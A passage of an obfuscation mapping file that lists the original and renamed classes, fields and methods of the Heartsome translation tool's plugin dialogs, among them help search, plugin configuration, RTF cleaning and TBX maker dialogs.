widgetSelected +net.heartsome.cat.ts.ui.plugin.dialog.ColumnTypeDialog$3 -> net.heartsome.cat.ts.ui.plugin.dialog.z: + net.heartsome.cat.ts.ui.plugin.dialog.ColumnTypeDialog this$0 -> HE + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.plugin.dialog.ColumnTypeDialog$4 -> net.heartsome.cat.ts.ui.plugin.dialog.aa: + net.heartsome.cat.ts.ui.plugin.dialog.ColumnTypeDialog this$0 -> HE + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.plugin.dialog.HelpSearchDialog -> net.heartsome.cat.ts.ui.plugin.dialog.ab: + boolean cancelled -> cancelled + boolean caseSensitive -> caseSensitive + java.lang.String searchText -> HG + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + java.lang.String getText() -> getText + boolean isSensitive() -> hE +net.heartsome.cat.ts.ui.plugin.dialog.HelpSearchDialog$1 -> net.heartsome.cat.ts.ui.plugin.dialog.ac: + net.heartsome.cat.ts.ui.plugin.dialog.HelpSearchDialog this$0 -> HH + org.eclipse.swt.widgets.Text val$text -> HI + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.cat.ts.ui.plugin.dialog.HelpSearchDialog$2 -> net.heartsome.cat.ts.ui.plugin.dialog.ad: + net.heartsome.cat.ts.ui.plugin.dialog.HelpSearchDialog this$0 -> HH + org.eclipse.swt.widgets.Button val$btnSensitive -> HJ + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.plugin.dialog.JavaPropertiesViewerDialog -> net.heartsome.cat.ts.ui.plugin.dialog.ae: + org.slf4j.Logger LOGGER -> LOGGER + org.eclipse.jface.viewers.TableViewer tableViewer -> tableViewer + org.eclipse.swt.widgets.Table table -> table + java.lang.String openFilePath -> HK + java.lang.String imagePath -> B + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + boolean isResizable() -> isResizable + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void createMenu(org.eclipse.swt.widgets.Composite) -> z + void createToolBar(org.eclipse.swt.widgets.Composite) -> y + void createTableViewer(org.eclipse.swt.widgets.Composite) -> A + void openFile() -> openFile + java.util.Vector getKeys(java.lang.String) -> dI + void access$0(net.heartsome.cat.ts.ui.plugin.dialog.JavaPropertiesViewerDialog) -> a + java.lang.String access$1(net.heartsome.cat.ts.ui.plugin.dialog.JavaPropertiesViewerDialog) -> b +net.heartsome.cat.ts.ui.plugin.dialog.JavaPropertiesViewerDialog$1 -> net.heartsome.cat.ts.ui.plugin.dialog.af: + net.heartsome.cat.ts.ui.plugin.dialog.JavaPropertiesViewerDialog this$0 -> HL + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.plugin.dialog.JavaPropertiesViewerDialog$2 -> net.heartsome.cat.ts.ui.plugin.dialog.ag: + net.heartsome.cat.ts.ui.plugin.dialog.JavaPropertiesViewerDialog this$0 -> HL + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.plugin.dialog.JavaPropertiesViewerDialog$3 -> net.heartsome.cat.ts.ui.plugin.dialog.ah: + net.heartsome.cat.ts.ui.plugin.dialog.JavaPropertiesViewerDialog this$0 -> HL + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.plugin.dialog.JavaPropertiesViewerDialog$4 -> net.heartsome.cat.ts.ui.plugin.dialog.ai: + net.heartsome.cat.ts.ui.plugin.dialog.JavaPropertiesViewerDialog this$0 -> HL + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.plugin.dialog.JavaPropertiesViewerDialog$5 -> net.heartsome.cat.ts.ui.plugin.dialog.aj: + net.heartsome.cat.ts.ui.plugin.dialog.JavaPropertiesViewerDialog this$0 -> HL + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.ts.ui.plugin.dialog.JavaPropertiesViewerDialog$5$1 -> net.heartsome.cat.ts.ui.plugin.dialog.ak: + net.heartsome.cat.ts.ui.plugin.dialog.JavaPropertiesViewerDialog$5 this$1 -> HM + org.eclipse.swt.widgets.TableColumn[] val$columns -> yu + org.eclipse.swt.widgets.Table val$table -> yv + void run() -> run +net.heartsome.cat.ts.ui.plugin.dialog.Martif2TBXConverterDialog -> net.heartsome.cat.ts.ui.plugin.dialog.al: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String imagePath -> B + org.eclipse.swt.widgets.Text txtMartif -> HN + org.eclipse.swt.widgets.Button btnMartifBrowse -> HO + org.eclipse.swt.widgets.Text txtTBX -> HP + org.eclipse.swt.widgets.Button btnTBXBrowse -> HQ + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void createMenu() -> createMenu + void initListener() -> initListener + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + void okPressed() -> okPressed + java.lang.String access$0(net.heartsome.cat.ts.ui.plugin.dialog.Martif2TBXConverterDialog) -> a + org.eclipse.swt.widgets.Text access$1(net.heartsome.cat.ts.ui.plugin.dialog.Martif2TBXConverterDialog) -> b + org.eclipse.swt.widgets.Text access$2(net.heartsome.cat.ts.ui.plugin.dialog.Martif2TBXConverterDialog) -> c +net.heartsome.cat.ts.ui.plugin.dialog.Martif2TBXConverterDialog$1 -> net.heartsome.cat.ts.ui.plugin.dialog.am: + net.heartsome.cat.ts.ui.plugin.dialog.Martif2TBXConverterDialog this$0 -> HR + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.plugin.dialog.Martif2TBXConverterDialog$2 -> net.heartsome.cat.ts.ui.plugin.dialog.an: + net.heartsome.cat.ts.ui.plugin.dialog.Martif2TBXConverterDialog this$0 -> HR + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.plugin.dialog.Martif2TBXConverterDialog$3 -> net.heartsome.cat.ts.ui.plugin.dialog.ao: + net.heartsome.cat.ts.ui.plugin.dialog.Martif2TBXConverterDialog this$0 -> HR + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.plugin.dialog.Martif2TBXConverterDialog$4 -> net.heartsome.cat.ts.ui.plugin.dialog.ap: + net.heartsome.cat.ts.ui.plugin.dialog.Martif2TBXConverterDialog this$0 -> HR + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.plugin.dialog.PluginConfigManageDialog -> net.heartsome.cat.ts.ui.plugin.dialog.aq: + org.slf4j.Logger LOGGER -> LOGGER + boolean isAdd -> Cd + org.eclipse.core.resources.IWorkspaceRoot root -> root + java.lang.String pluginXmlLocation -> Gx + net.heartsome.cat.ts.ui.plugin.bean.PluginConfigBean curPluginBean -> HS + net.heartsome.cat.ts.ui.plugin.PluginConfigManage manage -> HT + org.eclipse.swt.widgets.Text nameTxt -> Cg + org.eclipse.swt.widgets.Text commandTxt -> HU + org.eclipse.swt.graphics.Color WHITE -> HV + org.eclipse.swt.graphics.Color ORANGE -> HW + org.eclipse.swt.graphics.Color BUTTON -> HX + org.eclipse.swt.widgets.Combo keyCmb -> HY + boolean errors -> HZ + org.eclipse.jface.bindings.keys.KeySequenceText fKeySequenceText -> Ia + org.eclipse.swt.widgets.Text keyTxt -> Ib + org.eclipse.ui.internal.keys.model.KeyController keyController -> Ic + org.eclipse.swt.widgets.Text switchTxt -> Id + org.eclipse.swt.widgets.Button switchBrowseBtn -> Ie + org.eclipse.swt.widgets.Button outputSegemntBtn -> If + org.eclipse.swt.widgets.Button outputDocumentBtn -> Ig + org.eclipse.swt.widgets.Button outputBlankBtn -> Ih + org.eclipse.swt.widgets.Button inputUpdateFileBtn -> Ii + org.eclipse.swt.widgets.Button inputUpdateDocuBtn -> Ij + org.eclipse.swt.widgets.Button inputBlankBtn -> Ik + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + boolean isResizable() -> isResizable + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void createShortcutKeyGoup(org.eclipse.swt.widgets.Composite) -> B + void createProcessesAddReturnGroup(org.eclipse.swt.widgets.Composite) -> C + void createSwitchCmp(org.eclipse.swt.widgets.Composite) -> D + void okPressed() -> okPressed + java.lang.String browseFile(java.lang.String,java.lang.String[],java.lang.String[]) -> a + void initListener() -> initListener + boolean addPluginData(net.heartsome.cat.ts.ui.plugin.bean.PluginConfigBean) -> a + net.heartsome.cat.ts.ui.plugin.bean.PluginConfigBean getCurPluginBean() -> hF + void setEditInitData(net.heartsome.cat.ts.ui.plugin.bean.PluginConfigBean) -> b + void editPlugindata(net.heartsome.cat.ts.ui.plugin.bean.PluginConfigBean) -> c + java.lang.String access$0(net.heartsome.cat.ts.ui.plugin.dialog.PluginConfigManageDialog,java.lang.String,java.lang.String[],java.lang.String[]) -> a + org.eclipse.swt.widgets.Text access$1(net.heartsome.cat.ts.ui.plugin.dialog.PluginConfigManageDialog) -> a + org.eclipse.jface.bindings.keys.KeySequenceText access$2(net.heartsome.cat.ts.ui.plugin.dialog.PluginConfigManageDialog) -> b + org.eclipse.swt.widgets.Text access$3(net.heartsome.cat.ts.ui.plugin.dialog.PluginConfigManageDialog) -> c + org.eclipse.swt.widgets.Button access$4(net.heartsome.cat.ts.ui.plugin.dialog.PluginConfigManageDialog) -> d + org.eclipse.swt.widgets.Button access$5(net.heartsome.cat.ts.ui.plugin.dialog.PluginConfigManageDialog) -> e + org.eclipse.swt.widgets.Button access$6(net.heartsome.cat.ts.ui.plugin.dialog.PluginConfigManageDialog) -> f + org.eclipse.swt.widgets.Text access$7(net.heartsome.cat.ts.ui.plugin.dialog.PluginConfigManageDialog) -> g + org.eclipse.swt.widgets.Button access$8(net.heartsome.cat.ts.ui.plugin.dialog.PluginConfigManageDialog) -> h +net.heartsome.cat.ts.ui.plugin.dialog.PluginConfigManageDialog$1 -> net.heartsome.cat.ts.ui.plugin.dialog.ar: + net.heartsome.cat.ts.ui.plugin.dialog.PluginConfigManageDialog this$0 -> Il + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.plugin.dialog.PluginConfigManageDialog$2 -> net.heartsome.cat.ts.ui.plugin.dialog.as: + net.heartsome.cat.ts.ui.plugin.dialog.PluginConfigManageDialog this$0 -> Il + void propertyChange(org.eclipse.jface.util.PropertyChangeEvent) -> propertyChange +net.heartsome.cat.ts.ui.plugin.dialog.PluginConfigManageDialog$3 -> net.heartsome.cat.ts.ui.plugin.dialog.at: + net.heartsome.cat.ts.ui.plugin.dialog.PluginConfigManageDialog this$0 -> Il + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.plugin.dialog.PluginConfigManageDialog$4 -> net.heartsome.cat.ts.ui.plugin.dialog.au: + net.heartsome.cat.ts.ui.plugin.dialog.PluginConfigManageDialog this$0 -> Il + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.plugin.dialog.PluginConfigManageDialog$5 -> net.heartsome.cat.ts.ui.plugin.dialog.av: + net.heartsome.cat.ts.ui.plugin.dialog.PluginConfigManageDialog this$0 -> Il + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.plugin.dialog.PluginConfigManageDialog$6 -> net.heartsome.cat.ts.ui.plugin.dialog.aw: + net.heartsome.cat.ts.ui.plugin.dialog.PluginConfigManageDialog this$0 -> Il + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.plugin.dialog.PluginConfigurationDialog -> net.heartsome.cat.ts.ui.plugin.dialog.ax: + org.slf4j.Logger LOGGER -> LOGGER + org.eclipse.swt.widgets.Button addBtn -> Cx + org.eclipse.swt.widgets.Button editBtn -> Cz + org.eclipse.swt.widgets.Button deleteBtn -> Cy + org.eclipse.jface.viewers.TableViewer tableViewer -> tableViewer + org.eclipse.swt.widgets.Table table -> table + java.lang.String pluginXmlLocation -> Gx + net.heartsome.cat.ts.ui.plugin.PluginConfigManage manage -> HT + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + boolean isResizable() -> isResizable + org.eclipse.swt.widgets.Control createButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonBar + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void initListener() -> initListener + void okPressed() -> okPressed + void editPuginConfig() -> hG + void refreshTable(net.heartsome.cat.ts.ui.plugin.bean.PluginConfigBean) -> d + void deletePluginData() -> hH + void access$0(net.heartsome.cat.ts.ui.plugin.dialog.PluginConfigurationDialog,net.heartsome.cat.ts.ui.plugin.bean.PluginConfigBean) -> a + void access$1(net.heartsome.cat.ts.ui.plugin.dialog.PluginConfigurationDialog) -> a +net.heartsome.cat.ts.ui.plugin.dialog.PluginConfigurationDialog$1 -> net.heartsome.cat.ts.ui.plugin.dialog.ay: + net.heartsome.cat.ts.ui.plugin.dialog.PluginConfigurationDialog this$0 -> Im + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.ts.ui.plugin.dialog.PluginConfigurationDialog$1$1 -> net.heartsome.cat.ts.ui.plugin.dialog.az: + net.heartsome.cat.ts.ui.plugin.dialog.PluginConfigurationDialog$1 this$1 -> In + org.eclipse.swt.widgets.TableColumn[] val$columns -> yu + org.eclipse.swt.widgets.Table val$table -> yv + void run() -> run +net.heartsome.cat.ts.ui.plugin.dialog.PluginConfigurationDialog$2 -> net.heartsome.cat.ts.ui.plugin.dialog.ba: + net.heartsome.cat.ts.ui.plugin.dialog.PluginConfigurationDialog this$0 -> Im + void doubleClick(org.eclipse.jface.viewers.DoubleClickEvent) -> doubleClick +net.heartsome.cat.ts.ui.plugin.dialog.PluginConfigurationDialog$3 -> net.heartsome.cat.ts.ui.plugin.dialog.bb: + net.heartsome.cat.ts.ui.plugin.dialog.PluginConfigurationDialog this$0 -> Im + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.plugin.dialog.PluginConfigurationDialog$4 -> net.heartsome.cat.ts.ui.plugin.dialog.bc: + net.heartsome.cat.ts.ui.plugin.dialog.PluginConfigurationDialog this$0 -> Im + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.plugin.dialog.PluginConfigurationDialog$5 -> net.heartsome.cat.ts.ui.plugin.dialog.bd: + net.heartsome.cat.ts.ui.plugin.dialog.PluginConfigurationDialog this$0 -> Im + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.plugin.dialog.PluginConfigurationDialog$TViewerLabelProvider -> net.heartsome.cat.ts.ui.plugin.dialog.be: + net.heartsome.cat.ts.ui.plugin.dialog.PluginConfigurationDialog this$0 -> Im + org.eclipse.swt.graphics.Image getColumnImage(java.lang.Object,int) -> getColumnImage + java.lang.String getColumnText(java.lang.Object,int) -> getColumnText +net.heartsome.cat.ts.ui.plugin.dialog.PluginHelpDialog -> net.heartsome.cat.ts.ui.plugin.dialog.bf: + org.eclipse.swt.custom.SashForm mainSash -> Io + org.eclipse.swt.widgets.Tree tree -> Ip + org.eclipse.swt.browser.Browser browser -> browser + java.util.Hashtable hashTable -> Iq + java.lang.String currentFilePath -> Ir + java.lang.String helpFilePath -> Is + java.io.FileOutputStream fosSearch -> It + boolean isFound -> Iu + java.lang.String title -> title + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void createMenu() -> createMenu + void createToolBar(org.eclipse.swt.widgets.Composite) -> y + void loadTree(java.lang.String) -> dJ + void recurseTree(net.heartsome.xml.Element,org.eclipse.swt.widgets.TreeItem,java.lang.String) -> a + void loadToc(org.eclipse.swt.widgets.TreeItem,java.lang.String) -> a + void openFile() -> openFile + void searchText() -> hI + void searchFile(java.lang.String,java.lang.String,boolean) -> a + void searchElement(net.heartsome.xml.Element,java.lang.String,java.lang.String,boolean) -> a + void writeString(java.lang.String) -> writeString + void goHome() -> goHome + void goForward() -> hJ + void goBack() -> goBack + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + org.eclipse.swt.widgets.Tree access$0(net.heartsome.cat.ts.ui.plugin.dialog.PluginHelpDialog) -> a + java.util.Hashtable access$1(net.heartsome.cat.ts.ui.plugin.dialog.PluginHelpDialog) -> b + org.eclipse.swt.browser.Browser access$2(net.heartsome.cat.ts.ui.plugin.dialog.PluginHelpDialog) -> c + void access$3(net.heartsome.cat.ts.ui.plugin.dialog.PluginHelpDialog) -> d + void access$4(net.heartsome.cat.ts.ui.plugin.dialog.PluginHelpDialog) -> e +net.heartsome.cat.ts.ui.plugin.dialog.PluginHelpDialog$1 -> net.heartsome.cat.ts.ui.plugin.dialog.bg: + net.heartsome.cat.ts.ui.plugin.dialog.PluginHelpDialog this$0 -> Iv + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.plugin.dialog.PluginHelpDialog$10 -> net.heartsome.cat.ts.ui.plugin.dialog.bh: + net.heartsome.cat.ts.ui.plugin.dialog.PluginHelpDialog this$0 -> Iv + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.plugin.dialog.PluginHelpDialog$11 -> net.heartsome.cat.ts.ui.plugin.dialog.bi: + net.heartsome.cat.ts.ui.plugin.dialog.PluginHelpDialog this$0 -> Iv + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.plugin.dialog.PluginHelpDialog$12 -> net.heartsome.cat.ts.ui.plugin.dialog.bj: + net.heartsome.cat.ts.ui.plugin.dialog.PluginHelpDialog this$0 -> Iv + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.plugin.dialog.PluginHelpDialog$13 -> net.heartsome.cat.ts.ui.plugin.dialog.bk: + net.heartsome.cat.ts.ui.plugin.dialog.PluginHelpDialog this$0 -> Iv + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.plugin.dialog.PluginHelpDialog$2 -> net.heartsome.cat.ts.ui.plugin.dialog.bl: + net.heartsome.cat.ts.ui.plugin.dialog.PluginHelpDialog this$0 -> Iv + void treeCollapsed(org.eclipse.swt.events.TreeEvent) -> treeCollapsed + void treeExpanded(org.eclipse.swt.events.TreeEvent) -> treeExpanded +net.heartsome.cat.ts.ui.plugin.dialog.PluginHelpDialog$3 -> net.heartsome.cat.ts.ui.plugin.dialog.bm: + net.heartsome.cat.ts.ui.plugin.dialog.PluginHelpDialog this$0 -> Iv + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.plugin.dialog.PluginHelpDialog$4 -> net.heartsome.cat.ts.ui.plugin.dialog.bn: + net.heartsome.cat.ts.ui.plugin.dialog.PluginHelpDialog this$0 -> Iv + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.plugin.dialog.PluginHelpDialog$5 -> net.heartsome.cat.ts.ui.plugin.dialog.bo: + net.heartsome.cat.ts.ui.plugin.dialog.PluginHelpDialog this$0 -> Iv + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.plugin.dialog.PluginHelpDialog$6 -> net.heartsome.cat.ts.ui.plugin.dialog.bp: + net.heartsome.cat.ts.ui.plugin.dialog.PluginHelpDialog this$0 -> Iv + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.plugin.dialog.PluginHelpDialog$7 -> net.heartsome.cat.ts.ui.plugin.dialog.bq: + net.heartsome.cat.ts.ui.plugin.dialog.PluginHelpDialog this$0 -> Iv + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.plugin.dialog.PluginHelpDialog$8 -> net.heartsome.cat.ts.ui.plugin.dialog.br: + net.heartsome.cat.ts.ui.plugin.dialog.PluginHelpDialog this$0 -> Iv + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.plugin.dialog.PluginHelpDialog$9 -> net.heartsome.cat.ts.ui.plugin.dialog.bs: + net.heartsome.cat.ts.ui.plugin.dialog.PluginHelpDialog this$0 -> Iv + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.plugin.dialog.PluginHelpDialog$AboutDialog -> net.heartsome.cat.ts.ui.plugin.dialog.bt: + net.heartsome.cat.ts.ui.plugin.dialog.PluginHelpDialog this$0 -> Iv + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar +net.heartsome.cat.ts.ui.plugin.dialog.ProgressDialog -> net.heartsome.cat.ts.ui.plugin.dialog.bu: + short NO_BARS -> NO_BARS + short SINGLE_BAR -> SINGLE_BAR + short DOUBLE_BARS -> DOUBLE_BARS + short TRIPLE_BARS -> TRIPLE_BARS + org.eclipse.swt.widgets.Shell shell -> shell + org.eclipse.swt.widgets.Shell proShell -> Iw + org.eclipse.swt.widgets.Label mainLabel -> Ix + org.eclipse.swt.widgets.ProgressBar mainBar -> Iy + org.eclipse.swt.widgets.Label progressLabel -> Iz + org.eclipse.swt.widgets.ProgressBar progressBar -> IA + org.eclipse.swt.widgets.Label thirdLabel -> IB + org.eclipse.swt.widgets.ProgressBar thirdBar -> IC + org.eclipse.swt.widgets.Display display -> display + org.eclipse.swt.widgets.Label titleLabel -> aT + void open() -> open + void updateMain(int) -> updateMain + void updateProgress(int) -> updateProgress + void updateProgressMessage(java.lang.String) -> updateProgressMessage + void updateThirdProgress(int) -> updateThirdProgress + void updateThirdMessage(java.lang.String) -> updateThirdMessage + void updateMainMessage(java.lang.String) -> updateMainMessage + void updateTitle(java.lang.String) -> updateTitle + void updateProgress(int,java.lang.String) -> updateProgress + void showFinish(java.lang.String) -> showFinish + void close() -> close + boolean isDisposed() -> isDisposed + org.eclipse.swt.widgets.Shell getShell() -> getShell +net.heartsome.cat.ts.ui.plugin.dialog.RTFCleanerDialog -> net.heartsome.cat.ts.ui.plugin.dialog.bv: + java.lang.String imagePath -> B + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void createMenu() -> createMenu + void createToolBar(org.eclipse.swt.widgets.Composite) -> y + void handleFile() -> hK + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + void access$0(net.heartsome.cat.ts.ui.plugin.dialog.RTFCleanerDialog) -> a +net.heartsome.cat.ts.ui.plugin.dialog.RTFCleanerDialog$1 -> net.heartsome.cat.ts.ui.plugin.dialog.bw: + net.heartsome.cat.ts.ui.plugin.dialog.RTFCleanerDialog this$0 -> IE + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.plugin.dialog.RTFCleanerDialog$2 -> net.heartsome.cat.ts.ui.plugin.dialog.bx: + net.heartsome.cat.ts.ui.plugin.dialog.RTFCleanerDialog this$0 -> IE + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.plugin.dialog.RTFCleanerDialog$3 -> net.heartsome.cat.ts.ui.plugin.dialog.by: + net.heartsome.cat.ts.ui.plugin.dialog.RTFCleanerDialog this$0 -> IE + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.plugin.dialog.TBXMakerDialog -> net.heartsome.cat.ts.ui.plugin.dialog.bz: + org.slf4j.Logger LOGGER -> LOGGER + org.eclipse.swt.widgets.Table table -> table + org.eclipse.swt.widgets.Label lblRowCount -> GL + org.eclipse.swt.widgets.Label lblColCount -> GM + java.lang.String imagePath -> B + java.lang.String csvPath -> GN + java.lang.String colSeparator -> GO + java.lang.String textDelimiter -> GP + java.lang.String encoding -> encoding + java.lang.String lang -> vz + java.lang.String xcsTemplate -> Hm + int cols -> GQ + int rows -> rows + java.io.FileOutputStream output -> dR + net.heartsome.cat.ts.ui.plugin.util.TBXTemplateUtil template -> IF + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void createMenu() -> createMenu + void createToolBar(org.eclipse.swt.widgets.Composite) -> y + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + void displayHelp() -> displayHelp + void openFile() -> openFile + void export() -> export + void removeColumn() -> hp + void setColumnType() -> hL + void writeConceptLevelProps(org.eclipse.swt.widgets.TableItem) -> a + void writeLangLevelProps(java.lang.String,org.eclipse.swt.widgets.TableItem) -> a + void writeLangLevel(java.lang.String,org.eclipse.swt.widgets.TableItem) -> b + java.lang.String createId() -> hs + boolean checkConcept(java.lang.String[],org.eclipse.swt.widgets.TableItem) -> a + boolean checkTerm(java.lang.String,org.eclipse.swt.widgets.TableItem) -> c + java.lang.String[] getUserLangs() -> hB + void writeString(java.lang.String) -> writeString + int maxColumns() -> ht + int countColumns(java.lang.String) -> dC + void fillTable() -> hr + void createItems(java.lang.String) -> dB + boolean isResizable() -> isResizable + java.lang.String access$0(net.heartsome.cat.ts.ui.plugin.dialog.TBXMakerDialog) -> a + void access$1(net.heartsome.cat.ts.ui.plugin.dialog.TBXMakerDialog) -> b + void access$2(net.heartsome.cat.ts.ui.plugin.dialog.TBXMakerDialog) -> c + void access$3(net.heartsome.cat.ts.ui.plugin.dialog.TBXMakerDialog) -> d + void access$4(net.heartsome.cat.ts.ui.plugin.dialog.TBXMakerDialog) -> e + void access$5(net.heartsome.cat.ts.ui.plugin.dialog.TBXMakerDialog) -> f +net.heartsome.cat.ts.ui.plugin.dialog.TBXMakerDialog$1 -> net.heartsome.cat.ts.ui.plugin.dialog.ca: + net.heartsome.cat.ts.ui.plugin.dialog.TBXMakerDialog this$0 -> IG + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.plugin.dialog.TBXMakerDialog$10 -> net.heartsome.cat.ts.ui.plugin.dialog.cb: + net.heartsome.cat.ts.ui.plugin.dialog.TBXMakerDialog this$0 -> IG + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.plugin.dialog.TBXMakerDialog$11 -> net.heartsome.cat.ts.ui.plugin.dialog.cc: + net.heartsome.cat.ts.ui.plugin.dialog.TBXMakerDialog this$0 -> IG + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.plugin.dialog.TBXMakerDialog$12 -> net.heartsome.cat.ts.ui.plugin.dialog.cd: + net.heartsome.cat.ts.ui.plugin.dialog.TBXMakerDialog this$0 -> IG + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.plugin.dialog.TBXMakerDialog$2 -> net.heartsome.cat.ts.ui.plugin.dialog.ce: + net.heartsome.cat.ts.ui.plugin.dialog.TBXMakerDialog this$0 -> IG + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected 